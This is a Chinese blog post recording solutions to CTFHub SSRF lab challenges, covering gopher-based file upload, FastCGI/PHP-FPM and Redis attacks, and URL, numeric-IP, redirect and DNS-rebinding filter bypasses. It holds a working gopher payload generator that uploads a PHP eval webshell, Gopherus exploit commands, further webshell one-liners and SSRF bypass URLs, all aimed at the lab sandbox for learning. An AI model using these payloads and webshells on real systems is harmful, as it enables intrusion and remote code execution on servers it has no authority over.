Ctfhub-SSRF部分做题记录

Ctfhub-SSRF部分做题记录

上传文件

提示:这次需要上传一个文件到flag.php了.祝你好运

进入flag.php

发现没有提交按钮

修改源代码,加个提交按钮

抓包

修改host为127.0.0.1:80,乱码改成1111(随便,只要不是乱码)

PHP
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------238333320233049149463038114205
Content-Length: 372
Origin: http://challenge-6a714978eac69bc1.sandbox.ctfhub.com:10800
Connection: keep-alive
Referer: http://challenge-6a714978eac69bc1.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------238333320233049149463038114205
Content-Disposition: form-data; name="file"; filename="cmd.png"
Content-Type: image/png

<?php @eval($_POST['cmd']); ?>
-----------------------------238333320233049149463038114205
Content-Disposition: form-data; name="submit"

1111
-----------------------------238333320233049149463038114205--

"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)

print(result) # 这里因为是GET请求所以要进行两次url编码
#gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A129.0%2529%2520Gecko/20100101%2520Firefox/129.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/png%252Cimage/svg%252Bxml%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%252C%2520br%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------238333320233049149463038114205%250D%250AContent-Length%253A%2520372%250D%250AOrigin%253A%2520http%253A//challenge-6a714978eac69bc1.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520keep-alive%250D%250AReferer%253A%2520http%253A//challenge-6a714978eac69bc1.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250APriority%253A%2520u%253D0%252C%2520i%250D%250A%250D%250A-----------------------------238333320233049149463038114205%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522cmd.png%2522%250D%250AContent-Type%253A%2520image/png%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250D%250A-----------------------------238333320233049149463038114205%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A1111%250D%250A-----------------------------238333320233049149463038114205--%250D%250A%250D%250A%250D%250A

FastCGI协议

提示:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

https://blog.csdn.net/mysteryflower/article/details/94386461

知识

FastCGI是CGI的一种替代方法

CGI是Web服务器与编程语言交互的一个标准,但是CGI每次都需要启动一个新的进程来处理请求,这样效率很低

FastCGI是一个常驻型的CGI,它在服务器启动的时候先启动一个应用程序池,然后由这个应用程序池来管理和调度应用程序的执行。

FastCGI的工作流程如下:

1.Web服务器启动时载入FastCGI进程管理器

2.FastCGI进程管理器初始化并等待从Web服务器发来的请求

3.当客户端请求到达Web服务器时,FastCGI进程管理器启动一个或多个FastCGI进程,这个进程执行特定的应用程序,处理请求,并返回结果给Web服务器

4.FastCGI进程继续等待并处理来自Web服务器的请求,而不是结束

漏洞成因

PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。

本来我们可以执行任意文件,但是在FPM某个版本之后,增加了security.limit_extensions选项,限定了只有某些后缀的文件允许被fpm执行,默认是.php

所以现在要使用这个漏洞,我们得先知道服务器上的一个php文件,假设我们爆破不出来目标环境的web目录,我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php。

现在我们已经有可以执行代码的思路了,但是仅仅这样我们只能执行服务器上已有的代码,不能任意执行

所以我们还得想办法上传自己的代码,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)。

设置auto_prepend_file的值又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。

这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

所以我们在传入环境变量是加入

'PHP_VALUE': 'auto_prepend_file = php://input',

'PHP_ADMIN_VALUE': 'allow_url_include = On'

p神博客

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#fastcgi-type

Fastcgi Record

Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。

区别:

HTTP协议是浏览器和服务器中间件进行数据交换的协议

浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。

fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。

Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

结构:

record的头固定8个字节,body是由头中的contentLength指定

PHP
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;

/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

头由8个uchar类型的变量组成,每个变量1字节

requestId占两个字节(B0和B1),一个唯一的标志id,以避免多个请求之间的影响

contentLength占两个字节(B0和B1),表示body的大小

语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体

Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可

可见,一个fastcgi record结构最大支持的body大小是2^16,也就是65536字节

Fastcgi Type

type就是指定该record的作用。因为fastcgi一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestId作为同一次请求的id。

也就是说,每次请求,会有多个record,他们的requestId是相同的

当后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。环境变量的结构如下:

PHP
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength

} FCGI_NameValuePair14;

typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength

unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength

unsigned char valueData[valueLength

} FCGI_NameValuePair44;

这其实是4个结构,至于用哪个结构,有如下规则:

key、value均小于128字节,用FCGI_NameValuePair11

key大于128字节,value小于128字节,用FCGI_NameValuePair41

key小于128字节,value大于128字节,用FCGI_NameValuePair14

key、value均大于128字节,用FCGI_NameValuePair44

PHP-FPM(FastCGI进程管理器)

FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。

FPM按照fastcgi的协议将TCP流解析成真正的数据。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

PHP
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。

PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

Nginx(IIS7)解析漏洞

Nginx和IIS7曾经出现过一个PHP相关的解析漏洞(测试环境https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability),该漏洞现象是,在用户访问http://127.0.0.1/favicon.ico/.php时,访问到的文件是favicon.ico,但却按照.php后缀解析了。

用户请求http://127.0.0.1/favicon.ico/.php,nginx将会发送如下环境变量到fpm里:

PHP
...
'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',
'SCRIPT_NAME': '/favicon.ico/.php',
'REQUEST_URI': '/favicon.ico/.php',
'DOCUMENT_ROOT': '/var/www/html',
...

正常来说,SCRIPT_FILENAME的值是一个不存在的文件/var/www/html/favicon.ico/.php,是PHP设置中的一个选项fix_pathinfo导致了这个漏洞。

PHP为了支持Path Info模式而创造了fix_pathinfo

在这个选项被打开的情况下,fpm会判断SCRIPT_FILENAME是否存在

如果不存在则去掉最后一个/及以后的所有内容,再次判断文件是否存在,往次循环,直到文件存在。

所以,第一次fpm发现/var/www/html/favicon.ico/.php不存在,则去掉/.php,再判断/var/www/html/favicon.ico是否存在。显然这个文件是存在的,于是被作为PHP文件执行,导致解析漏洞。

正确的解决方法有两种

一是在Nginx端使用fastcgi_split_path_info将path info信息去除后,用tryfiles判断文件是否存在;

二是借助PHP-FPM的security.limit_extensions配置项,避免其他后缀文件被解析。

security.limit_extensions配置

PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。

此时,SCRIPT_FILENAME的值就格外重要了。因为fpm是根据这个值来执行php文件的,如果这个文件不存在,fpm会直接返回404

在fpm某个版本之前,我们可以将SCRIPT_FILENAME的值指定为任意后缀文件,比如/etc/passwd;但后来,fpm的默认配置中增加了一个选项security.limit_extensions:

PHP
; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

其限定了只有某些后缀的文件允许被fpm执行,默认是.php。所以,当我们再传入/etc/passwd的时候,将会返回Access denied.

由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。

万幸的是,通常使用源安装php的时候,服务器上都会附带一些php后缀的文件,我们使用find / -name "*.php"来全局搜索一下默认环境:

找到了不少。这就给我们提供了一条思路,假设我们爆破不出来目标环境的web目录,我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php

任意代码执行

那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?

理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。

但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)

那么,我们怎么设置auto_prepend_file的值?

这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

所以,我们最后传入如下环境变量:

PHP
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1''PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

设置auto_prepend_file = php://input且allow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码。

一个脚本,但不会用,先贴这儿

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

解法一

工具下载

https://github.com/tarunkant/Gopherus

开始命令:

PHP
./gopherus.py --exploit fastcgi

先查看index.php:/var/www/html/index.php

一般情况下我们输入ls都看不到什么东西,所以我们查看根目录,输入ls /

再进行一次编码

可以看到flag_3191a0e27f3976f163686249274d3323

接下来cat /flag_3191a0e27f3976f163686249274d3323

别忘记再次url编码,这里就不发那个图了

解法二

上传一句话木马上去,然后用蚁剑连接,查找得到fllag,

还是和之前一样使用gopherus工具,只不过这一次我们上传的webshell是上传一句话木马到1.php里去

PHP
echo "<?php eval(\$_POST[123]);?>" >1.php

还需要再次url编码

Redis协议

知识

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis是一个流行的开源内存数据管理系统,默认端口为6379。客户端和Redis服务器通过这个端口进行通信,客户端连接到Redis服务器后,对其中的数据进行读写等操作。因此,这个端口也是攻击者的常见攻击目标。

大概的意思就是这是一个数据库,存储在内存中,可以与磁盘交互,并且支持远程连接。Redis因配置不当可以未授权访问,攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

Redis在默认情况下,会绑定在0.0.0.0:6379。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作。攻击者可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应地私钥直接使用ssh服务登录目标服务器。

攻击方式

攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以通过恶意执行flushall来清空所有数据

攻击者可通过EVAL执行代码,或通过数据备份功能往磁盘写入后门文件

如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害者服务器

当然一般情况下,会避免其他非信任来源IP访问,所以这里的攻击思路也是和前面一样,通过gopher协议从服务器上进入redis,然后通过终端写马完成攻击

解题

这次不一样

PHP
./gopherus.py --exploit redis

输入PHPshell,回车两次默认是shell.php

<?php eval($_GET['cmd']);?>

返回504,但是应该上传上去了

查看shell.php

Get cmd=ls /

看见flag_5e7ea72483f37cdac3d9cda326ad4a5e

cat一下

URL Bypass

提示:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

绕过方法

PHP
利用?绕过限制url=https://www.baidu.com?www.xxxx.me
利用@绕过限制url=https://www.baidu.com@www.xxxx.me
利用斜杠反斜杠绕过限制
利用#绕过限制url=https://www.baidu.com#www.xxxx.me
利用子域名绕过
利用畸形url绕过
利用跳转ip绕过

PHP
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass

提示:这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

数字IP是指将IP地址中的每个数字都转换为一个十进制数的形式,例如将192.168.0.1转换为十进制数 3232235521。

IP地址是用于标识网络上设备的唯一地址,它由32位二进制数表示,通常使用点分十进制表示法来呈现,其中每个点分隔符表示8位二进制数。例如,IP地址192.168.0.1表示为二进制数11000000.10101000.00000000.00000001。

这是通过将每个点分隔符之间的数字转换为十进制数,并将它们组合成一个32位的二进制数得出的。具体来说,将127转换为十进制数,得到127;将0转换为十进制数,得到0;将0转换为十进制数,得到0;将1转换为十进制数,得到1。然后将这四个数字组合成一个32位的二进制数,得到01111111 00000000 00000000 00000001。将这个二进制数转换为十进制数,得到2130706433。

127.0.0.1的数字IP为2130706433,127.0.0.1的十六进制表示方式为0x7f000001。

ban掉了127和172

用localhost替代

用十进制替代

用十六进制替代

302跳转 Bypass

提示:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

?url=localhost/flag.php

DNS重绑定 Bypass

提示:关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

https://zhuanlan.zhihu.com/p/89426041

在网页浏览过程中,用户在地址栏中输入包含域名的网址。

浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。

而对于域名所有者,他可以设置域名所对应的IP地址。

当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。

对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的,不会受到同源策略的限制(对于DNS Rebinding来说是没有作用的。因为同源策略看的是域名,并不是背后的IP地址,虽然两次的请求IP地址不同,但是由于DNS服务器的绑定,域名都是一样的,那么自然不违反同源策略。)。 这就是DNS Rebinding攻击

https://lock.cmpxchg8b.com/rebinder.html

使用在线工具将DNS绑定

 
posted @ 2024-08-23 14:15  FuPo1  阅读(12)  评论(0编辑  收藏  举报